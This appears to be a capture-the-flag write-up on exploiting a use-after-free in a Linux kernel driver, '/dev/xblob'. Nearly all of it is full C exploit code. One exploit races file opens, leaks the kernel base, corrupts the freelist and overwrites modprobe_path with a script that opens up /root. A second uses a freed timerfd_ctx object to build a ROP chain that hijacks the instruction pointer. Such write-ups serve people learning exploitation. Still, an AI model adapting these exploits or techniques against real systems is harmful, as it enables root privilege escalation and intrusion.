exp
As is well-seen, thread t1 executes ahead of fd2 = open("/dev/xblob", O_RDWR);
in semantics. But from my plain own prespective, the time consuming of thread t1 creation will offsets that.
The condition is checked in a singal flow(main thread), it will redece it’s complication to a large extent.
1 2 3 4 5 6 7 8 9 10 11 12 for (i=0 ; i<100000 ; i++) { fd1 = -1 ; fd2 = -1 ; pthread_create(&t1, NULL , oopen, NULL ); fd2 = open("/dev/xblob" , O_RDWR); pthread_join(t1, NULL ); if (fd1>0 && fd2>0 ) break ; close(fd1); close(fd2); } printf ("fd1, fd2 = (%d, %d) by %d \n" , fd1, fd2, i);
overwrite the next pointer
In this case, I overwrite the next
pointer of kmalloc-256, which causes quite a few side effects. So shorten the control flow chain to cat flag as possible.
This is method can be patched by Hardened freelist
or Random freelist
easily. So it’s not a general method.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 #include <sys/ipc.h> #include <sys/shm.h> #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <pthread.h> #define pause(msg) do{ write(1, msg, strlen(msg)); getc(stdin); }while(0) typedef unsigned char u8;typedef unsigned int u32;typedef unsigned long u64;int fd1 = -1 ;int fd2 = -1 ;void hexdump (u8* buffer, int num_bytes) { for (int i=0 ; i<num_bytes; i+=0x10 ){ printf ("%06x |" , i); for (int j = 0 ; j < 0x10 ; j++) { if (j % 8 == 0 ) printf (" " ); if (i < num_bytes) printf (" %02x" , buffer[i+j]); else printf (" " ); } printf ("\n" ); } } void oopen () { fd1 = open("/dev/xblob" , O_RDWR); } int main (int argc, char *argv[]) { int i; pthread_t t1; char buf[0x100 ]; for (i=0 ; i<0x8 ; i++) { shmget(IPC_PRIVATE, 0x1000 , 0666 ); } for (i=0 ; i<100000 ; i++) { fd1 = -1 ; fd2 = -1 ; pthread_create(&t1, NULL , oopen, NULL ); fd2 = open("/dev/xblob" , O_RDWR); pthread_join(t1, NULL ); if (fd1>0 && fd2>0 ) break ; close(fd1); close(fd2); } printf ("fd1, fd2 = (%d, %d) by %d \n" , fd1, fd2, i); pause("Alright?" ); close(fd2); shmget(IPC_PRIVATE, 0x1000 , IPC_CREAT); read(fd1, buf, 0x100 ); u64 k_base = *(u64*)(buf+0xe0 ); hexdump(buf, 0x100 ); if (k_base == 0 ) { close(fd1); exit (0 ); } k_base = k_base - 0xeb2bc0 ; printf ("%llx \n" , k_base); pause("leak ?" ); fd2 = open("/dev/xblob" , O_RDWR); close(fd2); read(fd1, buf, 0x100 ); *(u64*)(buf+0x80 ) = k_base - 0xffffffff81000000 + 0xffffffff81e37e20 ; write(fd1, buf, 0x100 ); pause("modify modprobe_path" ); shmget(IPC_PRIVATE, 0x1000 , IPC_CREAT); fd2 = open("/dev/xblob" , O_RDWR); char *tmp_x = "/tmp/x" ; write(fd1, tmp_x, 8 ); system("echo -ne '#!/bin/sh\n/bin/chmod 777 /root/\n/bin/chmod 777 /root/*' > /tmp/x" ); system("chmod +x /tmp/x" ); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy" ); system("chmod +x /tmp/dummy" ); system("/tmp/dummy" ); system("cat /root/*" ); return 0 ; }
another exp This exploit demonstrate hijacing rip and get flag(not as usual) throught UAF of timerfd_ctx object.
A timerfd_ctx object is just like this in memory
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 000: 0x0000000000000001 0xffffc9000017ba50 010: 0x0000000000000000 0x000000ed8083904d 020: 0x000000ed8083904d 0xffffffff81190990 <= function 030: 0xffff88800f91cc80 0x0000000000000001 040: 0x0000000000000000 0x0000000000000000 050: 0x0000000000000000 0x0000000000000000 060: 0x0000000000000000 0x0000000000000000 070: 0x0000000000000000 0x0000000000000000 080: 0x16eafd52329a2830 0x0000000000000000 090: 0xffff8880031bd190 0xffff8880031bd190 0a0: 0x0000000000000000 0x0000000000000000 0b0: 0x0000000000000000 0x0000000000000000 0c0: 0x0000000000000000 0x0000000000000000 0d0: 0x0000000000000000 0x0000000000000000 0e0: 0x0000000000000000 0x0000000000000000 0f0: 0x0000000000000000 0x0000000000000000 100: 0x0000000000000000 0x0000000000000000
Write the object like this , then you can rop.
1 2 3 4 5 6 7 8 9 *(u64*)(buf+0x08 ) = 0 ; *(u64*)(buf+0x10 ) = K(0xffffffff81287e29 ); *(u64*)(buf+0x18 ) = 0 ; *(u64*)(buf+0x20 ) = 0 ; *(u64*)(buf+0x28 ) = K(0xffffffff810b3291 ); *(u64*)(buf+0x38 ) = 0 ; u64* rop = (buf+0x40 ); *rop++ = ROP
As you damage this structure, it’s prety hard to return usermode and get shell. But this exploit demonstrate a method, which is quite complicated. I use a method in the exp, and I think it inspirational.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 #define _GNU_SOURCE #include <sys/ipc.h> #include <sys/shm.h> #include <stdio.h> #include <sched.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <pthread.h> #include <sys/wait.h> #define pause(msg) do { write(1, msg, strlen(msg)); getc(stdin); }while(0) #define error (msg) do { perror(msg); exit(EXIT_FAILURE); } while (0) typedef unsigned char u8;typedef unsigned int u32;typedef unsigned long u64;int fd1 = -1 ;int fd2 = -1 ;int tfd;unsigned long user_cs, user_ss, user_rsp, user_rflags;void save_state () { asm ( "movq %%cs, %0\n" "movq %%ss, %1\n" "movq %%rsp, %2\n" "pushfq\n" "popq %3\n" : "=r" (user_cs), "=r" (user_ss), "=r" (user_rsp), "=r" (user_rflags) : : "memory" ); } int create_timer (int tv_sec) { int tfd; struct itimerspec its ; its.it_interval.tv_sec = 0 ; its.it_interval.tv_nsec = 0 ; its.it_value.tv_sec = tv_sec; its.it_value.tv_nsec = 0 ; tfd = timerfd_create(CLOCK_REALTIME, 0 ); if (tfd == -1 ) { error("timerfd_create" ); } timerfd_settime(tfd, 0 , &its, 0 ); return tfd; } void hexdump (u8* buffer, int num_bytes) { for (int i=0 ; i<num_bytes; i+=0x10 ){ printf ("%06x |" , i); for (int j = 0 ; j < 0x10 ; j++) { if (j % 8 == 0 ) printf (" " ); if (i < num_bytes) printf (" %02x" , buffer[i+j]); else printf (" " ); } printf ("\n" ); } } void oopen () { fd1 = open("/dev/xblob" , O_RDWR); } int win_flag = 0 ;void loop () { win_flag = 1 ; while (1 ); } void win () { while (!win_flag); system("/tmp/dummy" ); system("cat /root/*" ); } int main (int argc, char *argv[]) { int i; pthread_t t1; char buf[0x400 ]; char buf2[0x100 ]; setvbuf(stdout , NULL , _IONBF, 0 ); save_state(); system("echo -ne '#!/bin/sh\n/bin/chmod 777 /root\n/bin/chmod 777 /root/*\n' > /tmp/x" ); system("chmod +x /tmp/x" ); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy" ); system("chmod +x /tmp/dummy" ); for (i=0 ; i<100000 ; i++) { fd1 = -1 ; fd2 = -1 ; pthread_create(&t1, NULL , oopen, NULL ); fd2 = open("/dev/xblob" , O_RDWR); pthread_join(t1, NULL ); if (fd1>0 && fd2>0 ) break ; close(fd1); close(fd2); } printf ("fd1, fd2 = (%d, %d) by %d \n" , fd1, fd2, i); pause("Alright?" ); close(fd2); tfd = create_timer(1000 ); read(fd1, buf, 0x100 ); hexdump(buf, 0x100 ); u64 k_base = *(u64*)(buf+0x28 ); u64 g_buf = *(u64*)(buf+0x90 ) - 0x90 ; if (k_base == 0 ) { close(fd1); exit (1 ); } k_base -= 0x190990 ; hexdump(buf, 0x100 ); printf ("k_base => 0x%llx \n" , k_base); printf ("g_buf => 0x%llx \n" , g_buf); #define K(addr) ((u64)(addr)-(0xffffffff81000000)+k_base) *(u64*)(buf+0x08 ) = 0 ; *(u64*)(buf+0x10 ) = K(0xffffffff81287e29 ); *(u64*)(buf+0x18 ) = 0 ; *(u64*)(buf+0x20 ) = 0 ; *(u64*)(buf+0x28 ) = K(0xffffffff810b3291 ); *(u64*)(buf+0x38 ) = 0 ; u64* rop = (buf+0x40 ); *rop++ = K(0xffffffff812755bb ); *rop++ = 0x0000782f706d742f ; *rop++ = K(0xffffffff81e37e20 ); *rop++ = K(0xffffffff81044f66 ); *rop++ = K(0xffffffff81800e26 ); *rop++ = 0xdeadbeef ; *rop++ = 0xcafebabe ; *rop++ = loop; *rop++ = user_cs; *rop++ = user_rflags; *rop++ = user_rsp; *rop++ = user_ss; pthread_t t2; pthread_create(&t2, NULL , win, NULL ); write(fd1, buf, 0x100 ); pause("Ok?" ); pthread_join(t2, NULL ); return 0 ; }